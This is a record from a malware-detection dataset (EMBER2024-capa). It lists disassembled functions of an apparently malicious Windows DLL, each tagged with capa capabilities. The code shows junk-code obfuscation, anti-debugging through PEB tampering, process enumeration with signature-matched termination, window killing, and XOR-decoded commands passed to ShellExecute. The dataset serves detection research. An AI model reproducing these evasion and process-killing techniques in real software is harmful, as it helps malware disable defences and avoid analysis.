joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100059f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x10005a22
jl 0x10005a15
test ecx, ecx
jne 0x10005a22
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10005ae2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.10007910
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x10005a8e
jg 0x10005a4d
test esi, esi
je 0x10005a8e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x10005a65
mov eax, dword [esp + 0x10]
jl 0x10005a5f
cmp eax, esi
jae 0x10005a65
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.10028ec0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x10005aaf
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x10005acb
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x10005a34
jl 0x10005acb
test ecx, ecx
jne 0x10005a34
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x10005b21
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x10005b21
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.10028ec0
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
je 0x10005b90
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x10005b47
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [esi], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
mov ecx, edi
cmp edi, 0xfff
jbe 0x10005b79
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.1002f360
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x10005ba4
cmp edi, eax
ja 0x10005b55
test ecx, ecx
je 0x10005b90
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.1002f360
mov ecx, edi
add esp, 0x10
sub ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, ecx
sbb edx, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10005f10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1005f0f8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10005f40
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x10005f7c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x10005f7c
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x10006064
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10005fa4
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10005fd7
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.1002dfac
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
sub eax, 0
je 0x10006037
sub eax, 1
je 0x10006037
sub eax, 2
jne 0x10006064
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.1002dfac
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10006054
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.1002e918
add esp, 0x10
cmp edi, eax
jne 0x10006064
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x10005f67
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10026f69
mov esp, ebp
pop ebp
ret 4
Function at 0x10007440
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1005f0f8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x100074fa
cmp byte [esi + 0x3d], 0
je 0x100074fa
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x100074e8
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x100074b0
sub eax, 1
je 0x100074b4
sub eax, 2
jne 0x100074e8
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x100074d1
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.1002e918
add esp, 0x10
cmp edi, eax
jne 0x100074e8
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.10026f69
mov esp, ebp
pop ebp
ret

Function at 0x10008780
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100494c0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1005f0f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10027174
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.10025d95
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a1a8
Capabilities:
Access peb ldr_data

Disassembly:
jae 0x1000a1a6
jmp 0x1000a1a1
call fcn.1000a1a8
jae 0x1000a1a1
add esp, 4
jmp 0x1000a1ad
dec dword [esp]
jno 0x1000a1b2
jns 0x1000a19d
jp 0x1000a1b6
add esp, 4
popf
jmp 0x1000a1bd
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000a1d6
jne 0x1000a1d6
call 0x1fc0d52a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x20], 0x20000
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1000a200
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1005f0f8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
clc
jae 0x1000a218
pop esi
inc edx
pushf
push 0xa
Function at 0x1000a227
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
jae 0x1000a225
jmp 0x1000a220
call fcn.1000a227
jae 0x1000a220
add esp, 4
jmp 0x1000a22c
dec dword [esp]
jno 0x1000a231
jns 0x1000a21c
jp 0x1000a235
add esp, 4
popf
jmp 0x1000a23c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000a255
jne 0x1000a255
inc edx
jl 0x1000a25a
jmp 0x1000a25c
je 0x1000a257
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1000a276
jne 0x1000a275
call 0x930492fd
rol byte [ebx + eax*4], 0xf0
xor eax, 3
add eax, 4
xor eax, 5
je 0x1000a284
add eax, 0x1750374
jne 0x1000a284
call 0x35e4e84e
mov byte [ebp - 0x1c], 0x25
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x25
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x25
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x25
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
clc
jae 0x1000a2ef
jg 0x1000a27e
pushf
push 0xa
jae 0x1000a2fc
jmp 0x1000a2f7
call 0x1000a2fe
jae 0x1000a2f7
add esp, 4
jmp 0x1000a303
dec dword [esp]
jno 0x1000a308
jns 0x1000a2f3
jp 0x1000a30c
add esp, 4
popf
jmp 0x1000a313
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000a32c
jne 0x1000a32c
invalid
jl 0x1000a331
jmp 0x1000a333
je 0x1000a32e
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1000a34d
jne 0x1000a34c
call 0x930493d4
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1000a35b
jne 0x1000a35b
call 0x9b5c01be
dec ebp
cld
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret
Function at 0x1000a6f4
Capabilities:
Create thread

Disassembly:
jae 0x1000a606
jmp 0x1000a601
call fcn.1000a608
jae 0x1000a601
add esp, 4
jmp 0x1000a60d
dec dword [esp]
jno 0x1000a612
jns 0x1000a5fd
jp 0x1000a616
add esp, 4
popf
jmp 0x1000a61d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000a636
jne 0x1000a636
call 0x1fc0d98a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1000a200
clc
jae 0x1000a651
retf
pushf
push 0xa
jae 0x1000a65e
jmp 0x1000a659
call 0x1000a660
jae 0x1000a659
add esp, 4
jmp 0x1000a665
dec dword [esp]
jno 0x1000a66a
jns 0x1000a655
jp 0x1000a66e
add esp, 4
popf
jmp 0x1000a675
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000a68e
add byte [eax], al
add byte [edx - 0x7f], dl
ljmp 0x358
jne 0x1000a68e
jns 0x1000a70b
jl 0x1000a693
add ebp, ebx
add edi, dword [ecx + 0x74]
sti
jmp 0x1000a695
je 0x1000a690
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1000a6af
jne 0x1000a6ae
call 0x93049736
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1000a6bd
jne 0x1000a6bd
call 0xffb55a9
push dword [ebx]
rol byte [ebp + 0x750374c0], 0
call 0x1000a170
xor eax, eax
test eax, eax
je 0x1000a6cb
jne 0x1000a6ca
call 0x93049752
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
lcall 0x7002, 0x73f8fb74
lcall 0x669a, 0x1750374
pushfd
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1000a6d9
jmp 0x1000a6db
je 0x1000a6d6
clc
jae 0x1000a6e0
jo 0x1000a67a
je 0x1000a6e5
jne 0x1000a6e5
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x1000a6f2
jmp 0x1000a6ed
call 0x1000a6f4
jae 0x1000a6ed
add esp, 4
jmp 0x1000a6f9
dec dword [esp]
jno 0x1000a6fe
jns 0x1000a6e9
jp 0x1000a702
add esp, 4
popf
jmp 0x1000a709
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000a722
jne 0x1000a722
call 0x1fc0da76
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x1000a370
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000a400
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000a4b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000ac39
Capabilities:
Create thread

Disassembly:
jae 0x1000ac37
jmp 0x1000ac32
call fcn.1000ac39
jae 0x1000ac32
add esp, 4
jmp 0x1000ac3e
dec dword [esp]
jno 0x1000ac43
jns 0x1000ac2e
jp 0x1000ac47
add esp, 4
popf
jmp 0x1000ac4e
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000ac67
jne 0x1000ac67
call 0x1fc0dfbb
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x1000aa70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000ac9b
call fcn.10010f70
clc
jae 0x1000aca0
clc
pop eax
pushf
push 0xa
jae 0x1000acad
jmp 0x1000aca8
call 0x1000acaf
jae 0x1000aca8
add esp, 4
jmp 0x1000acb4
dec dword [esp]
jno 0x1000acb9
jns 0x1000aca4
jp 0x1000acbd
add esp, 4
popf
jmp 0x1000acc4
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000acdd
jne 0x1000acdd
pop eax
jl 0x1000ace2
jmp 0x1000ace4
je 0x1000acdf
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1000acfe
jne 0x1000acfd
call 0x93049d85
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1000ad0c
jne 0x1000ad0c
call 0x6ffcf29b
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000afe0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x28
push esi
push edi
push 0
push ecx
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov edi, dword [sym.imp.USER32.dll_EndTask]
mov esi, eax
test esi, esi
je 0x1000b018
push 1
push 0
push esi
call edi
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0
mov dword [esp + 0x18], 0x676e6566
mov dword [esp + 0x1c], 0x657579
call esi
test eax, eax
je 0x1000b088
mov ecx, 0xc1
xor edx, edx
mov al, byte [edx + 0x10058f10]
xor al, cl
inc ecx
mov byte [esp + edx + 0x10], al
and ecx, 0x800000ff
jns 0x1000b063
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x1f
jl 0x1000b046
push 5
push 0
push 0
lea eax, [esp + 0x1c]
mov byte [esp + 0x3b], 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.10010f70
push 0
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x646e6957
push eax
push 0
push 0
mov word [esp + 0x1c], 0x776f
mov byte [esp + 0x1e], 0
call esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov word [esp + 0xc], ax
mov byte [esp + 0xe], al
test esi, esi
je 0x1000b0d0
push eax
push eax
push 0x12
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 1
push 0
push esi
call edi
mov ecx, 0x1a
xor edx, edx
mov al, byte [edx + str.YtrnqsEvKM_JQdDHYX]
xor al, cl
inc ecx
mov byte [esp + edx + 0x10], al
and ecx, 0x800000ff
jns 0x1000b0f4
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x12
jl 0x1000b0d7
push 0
lea eax, [esp + 0x14]
mov byte [esp + 0x26], 0
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov esi, eax
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
xorps xmm0, xmm0
movaps xmmword [esp + 0x10], xmm0
test esi, esi
je 0x1000b13e
push 1
push 0
push esi
call edi
push 0
push 0
push 0x12
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000c1b0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x1000ba40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x10010de0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x13c
mov eax, dword [0x1005f0f8]
xor eax, esp
mov dword [esp + 0x138], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
mov dword [esp + 0xc], ebx
cmp ebx, 0xffffffff
je 0x10010ee1
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
push dword [esp + 0x18]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x10010ecd
mov esi, 0x1005fa7c
mov ebx, 0xa
lea eax, [esp + 0x138]
push eax
push 7
lea eax, [esp + 0x144]
push eax
push dword [esi - 4]
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10010eb8
cmp dword [esp + 0x138], 7
jne 0x10010eb8
lea ecx, [esp + 0x13c]
mov eax, dword [ecx]
cmp eax, dword [esi]
jne 0x10010eb8
movzx eax, word [ecx + 4]
cmp ax, word [esi + 4]
jne 0x10010eb8
movzx eax, byte [ecx + 6]
cmp al, byte [esi + 6]
jne 0x10010eb8
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10010f70
add esi, 0xc
sub ebx, 1
jne 0x10010e55
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
mov ebx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10010e30
push ebx
call esi
mov ecx, dword [esp + 0x144]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10026f69
mov esp, ebp
pop ebp
ret

Function at 0x10010f50
Capabilities:
Create process on windows

Disassembly:
push 5
push 0
push 0
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret
Function at 0x10010f70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
test eax, eax
je 0x10010f7f
jne 0x10010f7e
call 0x93050006
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10010f8d
jmp 0x10010f8f
je 0x10010f8a
clc
jae 0x10010f94
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x10010f99
jne 0x10010f99
pop eax
pushf
push 0xa
jae 0x10010fa6
jmp 0x10010fa1
call 0x10010fa8
jae 0x10010fa1
add esp, 4
jmp 0x10010fad
dec dword [esp]
jno 0x10010fb2
jns 0x10010f9d
jp 0x10010fb6
add esp, 4
popf
jmp 0x10010fbd
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010fd6
jne 0x10010fd6
call 0x1fc1432a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0xffffffffffffffff
call fcn.100332b0
clc
jae 0x10010ff3
shl byte [ecx], 1
pushf
push 0xa
jae 0x10011000
jmp 0x10010ffb
call 0x10011002
jae 0x10010ffb
add esp, 4
jmp 0x10011007
dec dword [esp]
jno 0x1001100c
jns 0x10010ff7
jp 0x10011010
add esp, 4
popf
jmp 0x10011017
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011030
jne 0x10011030
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x10011035
jmp 0x10011037
je 0x10011032
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011051
jne 0x10011050
call 0x930500d8
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001105f
jne 0x1001105f
call fcn.1001111f
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
mov esp, 0
xor eax, eax
test eax, eax
je 0x1001106d
add esi, dword [ebp]
jne 0x1001106c
call 0x930500f4
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001107b
jmp 0x1001107d
je 0x10011078
clc
jae 0x10011082
jp 0x10011069
je 0x10011087
jne 0x10011087
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x10011094
jmp 0x1001108f
call 0x10011096
jae 0x1001108f
add esp, 4
jmp 0x1001109b
dec dword [esp]
jno 0x100110a0
jns 0x1001108b
jp 0x100110a4
add esp, 4
popf
jmp 0x100110ab
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100110c4
jne 0x100110c4
call 0x1fc14418
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret